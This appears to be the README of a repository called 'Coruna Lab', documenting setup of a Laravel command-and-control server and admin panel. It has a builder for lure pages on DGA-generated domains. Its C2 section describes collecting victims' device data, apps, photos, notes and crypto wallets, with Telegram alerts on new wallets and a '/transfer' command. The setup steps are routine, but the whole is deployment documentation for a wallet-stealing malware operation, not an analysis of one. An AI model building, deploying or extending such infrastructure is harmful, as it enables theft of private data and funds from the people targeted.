86 lines
2.5 KiB
Markdown
86 lines
2.5 KiB
Markdown
# Coruna Lab
|
||
|
||
Laravel C2 + Admin,渠道静态资源由内置 [`channel-builder/`](channel-builder/) 直接构建(DGA seed + channel id,无独立 Build API)。
|
||
|
||
```text
|
||
coruna-lab/
|
||
├── app/ # C2 / Admin
|
||
├── channel-builder/ # source + Python patch tools
|
||
├── public/ # 默认产物根(可直接当静态站)
|
||
│ ├── web/<channel-id>/
|
||
│ └── sync/
|
||
└── storage/app/channel-builder/ # lab_seeds.json + out/(不对外)
|
||
```
|
||
|
||
## Requirements
|
||
|
||
| Tool | Path / note |
|
||
|------|-------------|
|
||
| PHP 8.2+ | `/opt/homebrew/opt/php/bin/php` |
|
||
| Composer | via brew PHP |
|
||
| Python 3.10+ | `channel-builder/.venv` |
|
||
| MySQL 8.0 | preferred;sqlite 可 smoke |
|
||
| p7zip | `CORUNA_7Z_BIN` 或 `bin/7z`(C2 入库用) |
|
||
|
||
```bash
|
||
export PATH="/opt/homebrew/opt/php/bin:$PATH"
|
||
php -v
|
||
|
||
cd channel-builder
|
||
python3 -m venv .venv
|
||
.venv/bin/pip install -r requirements.txt
|
||
```
|
||
|
||
## Setup
|
||
|
||
```bash
|
||
cp .env.example .env
|
||
# edit .env: DB_*, TELEGRAM_*, ADMIN_*, CORUNA_ARTIFACT_ROOT / CORUNA_CHANNEL_BUILDER_*
|
||
|
||
php artisan key:generate # once
|
||
php artisan migrate --seed
|
||
php artisan serve --host=0.0.0.0 --port=8000
|
||
```
|
||
|
||
Admin:
|
||
|
||
- Shell: `http://127.0.0.1:8000/admin`
|
||
- Login: `http://127.0.0.1:8000/admin/login`
|
||
- 默认账号:`admin` / `admin123`(见 `.env` `ADMIN_*`)
|
||
|
||
## 新建渠道
|
||
|
||
创建渠道时 Laravel 直接调用 `channel-builder/tools/new_project.py`:
|
||
|
||
- **seed**:Deployment / Reporting 共用同一 seed(可同时传入相同值;否则读/写 `lab_seeds.json`,首次自动生成一份)
|
||
- **首次**(或换 seed)会重建共享 `sync/`,并返回 DGA 域名供注册/绑源站
|
||
- **之后**新渠道只生成 `web/<id>/`
|
||
|
||
```dotenv
|
||
CORUNA_CHANNEL_BUILDER_PYTHON=/path/to/channel-builder/.venv/bin/python
|
||
# 默认即可:产物写到 public/,seed 状态在 storage/app/channel-builder/
|
||
# CORUNA_ARTIFACT_ROOT=
|
||
# CORUNA_CHANNEL_STATE_ROOT=
|
||
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
|
||
CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com
|
||
```
|
||
|
||
同机时 Admin 站点 `public/` 即静态根;DGA 域名反代到同一 `public/`:
|
||
|
||
```text
|
||
https://<host>/web/<channel-id>/support.html
|
||
https://<dga-host>/sync/daily.html
|
||
```
|
||
|
||
宝塔部署见 [`docs/BAOTA_DEPLOY.md`](docs/BAOTA_DEPLOY.md)。
|
||
|
||
## C2 / Admin 说明
|
||
|
||
- Reporting:AES-256-ECB JSON + multipart `/api/user/check` 7z
|
||
- 入库:devices / apps / photos / notes / wallets + `c2_raw_logs`
|
||
- Telegram:新设备、新/变更钱包;`/transfer` 指令
|
||
|
||
```bash
|
||
php artisan test
|
||
```
|